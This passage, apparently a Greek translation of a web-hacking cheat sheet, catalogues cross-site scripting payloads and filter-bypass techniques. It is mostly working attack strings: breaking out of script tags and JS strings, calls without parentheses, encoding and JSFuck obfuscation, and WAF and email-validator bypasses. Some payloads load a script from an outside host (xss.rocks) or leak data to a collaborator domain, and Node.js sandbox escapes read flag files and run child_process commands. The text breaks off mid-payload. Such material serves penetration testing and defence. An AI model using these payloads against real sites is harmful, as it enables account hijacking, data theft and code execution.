Αλλά, αν το WAF φιλτράρει το χαρακτηριστικό style, μπορείς να χρησιμοποιήσεις τα CSS Styling Gadgets, οπότε αν βρεις, για παράδειγμα
.test {display:block; color: blue; width: 100%}
και
#someid {top: 0; font-family: Tahoma;}
Τώρα μπορείς να τροποποιήσεις τον σύνδεσμό μας και να τον φέρεις στη μορφή
<a href="" id=someid class=test onclick=alert() a="">
Αυτό το κόλπο προήλθε από https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Ενσωμάτωση μέσα στον κώδικα JavaScript
Σε αυτές τις περιπτώσεις το input σου θα αντικατοπτρίζεται μέσα στον κώδικα JS ενός αρχείου .js
ή μεταξύ των ετικετών <script>...</script>
ή μεταξύ των HTML events που μπορούν να εκτελέσουν κώδικα JS ή μεταξύ των χαρακτηριστικών που δέχονται το πρωτόκολλο javascript:
.
Απόδραση της ετικέτας <script>
Αν ο κώδικάς σου εισάγεται μέσα σε <script> [...] var input = 'αντικατοπτριζόμενα δεδομένα' [...] </script>
μπορείς εύκολα να αποδράσεις κλείνοντας την ετικέτα <script>
:
</script><img src=1 onerror=alert(document.domain)>
Σημειώστε ότι σε αυτό το παράδειγμα δεν έχουμε κλείσει ακόμα το μονό εισαγωγικό. Αυτό συμβαίνει επειδή η ανάλυση HTML πραγματοποιείται πρώτα από τον περιηγητή, η οποία περιλαμβάνει την αναγνώριση στοιχείων σελίδας, συμπεριλαμβανομένων των τμημάτων κώδικα. Η ανάλυση του JavaScript για την κατανόηση και εκτέλεση των ενσωματωμένων σεναρίων πραγματοποιείται μόνο αργότερα.
Μέσα στον κώδικα JS
Αν τα <>
αποστειρώνονται, μπορείτε ακόμα να αποδράσετε τη συμβολοσειρά όπου βρίσκεται η είσοδός σας και να εκτελέσετε αυθαίρετο JS. Είναι σημαντικό να διορθώσετε τη σύνταξη του JS, επειδή αν υπάρχουν οποιαδήποτε σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
Πρότυπα αλφαριθμητικών ``
Για να κατασκευάσετε αλφαριθμητικά εκτός από μονά και διπλά εισαγωγικά, το JS δέχεται επίσης ανάστροφες μονάδες ``
. Αυτό είναι γνωστό ως πρότυπα αλφαριθμητικών καθώς επιτρέπουν τη ενσωμάτωση εκφράσεων JS χρησιμοποιώντας τη σύνταξη ${ ... }
.
Επομένως, αν διαπιστώσετε ότι η είσοδός σας αντανακλάται μέσα σε ένα αλφαριθμητικό JS που χρησιμοποιεί ανάστροφες μονάδες, μπορείτε να καταχραστείτε τη σύνταξη ${ ... }
για να εκτελέσετε οποιοδήποτε JS κώδικα:
Αυτό μπορεί να καταχραστεί χρησιμοποιώντας:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
Εκτέλεση κώδικα με κωδικοποιημένο τρόπο
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Κωδικοποίηση Unicode για εκτέλεση JS
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Τεχνικές παράκαμψης μαύρων λιστών JavaScript
Συμβολοσειρές
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Ειδικές αποδράσεις
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
Αντικαταστάσεις κενών χώρων μέσα σε κώδικα JS
<TAB>
/**/
Σχόλια JavaScript (από το κόλπο Σχόλια JavaScript )
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
Νέες γραμμές στο JavaScript (από το κόλπο Νέα γραμμή στο JavaScript )
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
Λευκά διαστήματα στη JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Κώδικας Javascript μέσα σε ένα σχόλιο
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript χωρίς παρενθέσεις
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Αυθαίρετη κλήση συνάρτησης (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
Ευπάθειες DOM
Υπάρχει κώδικας JS που χρησιμοποιεί δεδομένα ελέγχου που ελέγχεται από κακόβουλο χρήστη όπως το location.href
. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.
Λόγω της επέκτασης της εξήγησης των ευπαθειών DOM μεταφέρθηκε σε αυτήν τη σελίδα:
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Εκεί θα βρείτε μια λεπτομερή εξήγηση του τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς μπορούν να εκμεταλλευτούν.
Επίσης, μην ξεχνάτε ότι στο τέλος της αναφερόμενης ανάρτησης μπορείτε να βρείτε μια εξήγηση σχετικά με τις επιθέσεις DOM Clobbering.
Άλλες Παρακάμψεις
Κανονικοποιημένο Unicode
Μπορείτε να ελέγξετε αν τα αντικατοπτριζόμενα τιμές υποβάλλονται σε κανονικοποίηση Unicode στον εξυπηρετητή (ή στην πλευρά του πελάτη) και να εκμεταλλευτείτε αυτήν τη λειτουργία για να παρακάμψετε τις προστασίες. Βρείτε ένα παράδειγμα εδώ.
Παράκαμψη σημαίας PHP FILTER_VALIDATE_EMAIL
"><svg/onload=confirm(1)>"@x.y
Διαπραγμάτευση Ruby-On-Rails
Λόγω των RoR μαζικών εκχωρήσεων τα εισαγωγικά εισάγονται στο HTML και στη συνέχεια η περιοριστική πρόταση παρακάμπτεται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.
Παράδειγμα φόρμας (από αυτήν την αναφορά), αν στείλετε το φορτίο:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Το ζεύγος "Key","Value" θα επιστραφεί πίσω όπως εδώ:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Ειδικοί συνδυασμοί
Στη συνέχεια, το χαρακτηριστικό onfocus θα εισαχθεί και θα προκληθεί XSS.
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS με εισαγωγή κεφαλίδας σε μια απάντηση 302
Εάν ανακαλύψετε ότι μπορείτε να εισάγετε κεφαλίδες σε μια απάντηση 302 Ανακατεύθυνσης, μπορείτε να προσπαθήσετε να κάνετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript. Αυτό δεν είναι απλό καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απάντησης HTTP εάν ο κωδικός κατάστασης της απάντησης HTTP είναι 302, οπότε μόνο μια φόρτωση διασταυρωμένης σελίδας είναι άχρηστη.
Σε αυτήν την αναφορά και αυτήν μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε αρκετούς πρωτόκολλους μέσα στην κεφαλίδα Τοποθεσίας και να δείτε εάν κάποιος από αυτούς επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει τη φόρτωση XSS μέσα στο σώμα.
Γνωστοί πρωτόκολλοι: mailto://
, //x:1/
, ws://
, wss://
, κενή κεφαλίδα Τοποθεσίας, resource://
.
Μόνο Γράμματα, Αριθμοί και Τελείες
Εάν μπορείτε να υποδείξετε το κλήση ότι το javascript θα εκτελέσει περιορισμένο σε αυτούς τους χαρακτήρες. Διαβάστε αυτήν την ενότητα αυτής της ανάρτησης για να βρείτε πώς να εκμεταλλευτείτε αυτήν τη συμπεριφορά.
Έγκυροι Τύποι Περιεχομένου <script>
για XSS
(Από εδώ) Εάν προσπαθήσετε να φορτώσετε ένα σενάριο με έναν τύπο περιεχομένου όπως application/octet-stream
, το Chrome θα εμφανίσει το ακόλουθο σφάλμα:
Αρνήθηκε την εκτέλεση του σεναρίου από το ‘https://uploader.c.hc.lc/uploads/xxx' επειδή ο τύπος MIME του (‘application/octet-stream’) δεν είναι εκτελέσιμος, και η αυστηρή ελέγχεται η ταυτότητα του τύπου.
Οι μόνοι Τύποι Περιεχομένου που θα υποστηρίξουν το Chrome να εκτελέσει ένα φορτωμένο σενάριο είναι αυτοί που βρίσκονται μέσα στη σταθερά kSupportedJavascriptTypes
από https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Τύποι Σεναρίων για XSS
(Από εδώ) Λοιπόν, ποιοι τύποι μπορούν να υποδειχθούν για τη φόρτωση ενός σεναρίου;
<script type="???"></script>
Η απάντηση είναι:
- module (προεπιλογή, τίποτα να εξηγηθεί)
- webbundle: Τα Web Bundles είναι μια λειτουργία με την οποία μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS...) μαζί σε ένα αρχείο
.wbn
.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Επιτρέπει τη βελτίωση της σύνταξης εισαγωγής
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
Αυτή η συμπεριφορά χρησιμοποιήθηκε σε αυτήν την ανάλυση για την ανακατεύθυνση μιας βιβλιοθήκης στο eval για να την καταχραστεί και να ενεργοποιήσει XSS.
- speculationrules: Αυτό το χαρακτηριστικό είναι κυρίως για την επίλυση ορισμένων προβλημάτων που προκαλούνται από το προ-αποτύπωμα. Λειτουργεί ως εξής:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
Τύποι Περιεχομένου Ιστού για XSS
(Από εδώ) Οι ακόλουθοι τύποι περιεχομένου μπορούν να εκτελέσουν XSS σε όλους τους browsers:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? δεν είναι στη λίστα αλλά νομίζω ότι το είδα σε ένα CTF)
- application/rss+xml (απενεργοποιημένο)
- application/atom+xml (απενεργοποιημένο)
Σε άλλους browsers μπορούν να χρησιμοποιηθούν και άλλοι Content-Types
για την εκτέλεση αυθαίρετου JS, ελέγξτε: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
Τύπος Περιεχομένου xml
Εάν η σελίδα επιστρέφει έναν τύπο περιεχομένου text/xml, είναι δυνατή η καθορισμός ενός namespace και η εκτέλεση αυθαίρετου JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Ειδικά Πρότυπα Αντικατάστασης
Όταν χρησιμοποιείται κάτι σαν "some {{template}} data".replace("{{template}}", <user_input>)
, ο επιτιθέμενος μπορεί να χρησιμοποιήσει ειδικές αντικαταστάσεις συμβόλων για να προσπαθήσει να παρακάμψει κάποιες προστασίες: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Για παράδειγμα, σε αυτό το άρθρο, αυτό χρησιμοποιήθηκε για να αποδράσει μια συμβολοσειρά JSON μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.
Chrome Cache σε XSS
{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}
Απόδραση από XS Jails
Αν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων που μπορείτε να χρησιμοποιήσετε, ελέγξτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Εάν τα πάντα είναι απροσδιόριστα πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε αυτήν την ανάλυση), είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
- Χρησιμοποιώντας import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
- Πρόσβαση στο
require
έμμεσα
Σύμφωνα με αυτό τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό:
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
Συνεπώς, αν μπορούμε να καλέσουμε μια άλλη συνάρτηση από αυτό το module, είναι δυνατόν να χρησιμοποιήσουμε το arguments.callee.caller.arguments[1]
από αυτή τη συνάρτηση για να έχουμε πρόσβαση στο require
:
{% code overflow="wrap" %}
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
{% endcode %}
Με έναν παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να χρησιμοποιήσετε τους χειριστές σφαλμάτων για να έχετε πρόσβαση στο περιτύλιγμα του module και να λάβετε τη λειτουργία require
:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Απόκρυψη & Προηγμένη Αντιστάθμιση
- Διαφορετικές αποκρύψεις σε μία σελίδα: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://ooze.ninja/javascript/poisonjs
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Πιο εξελιγμένο JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+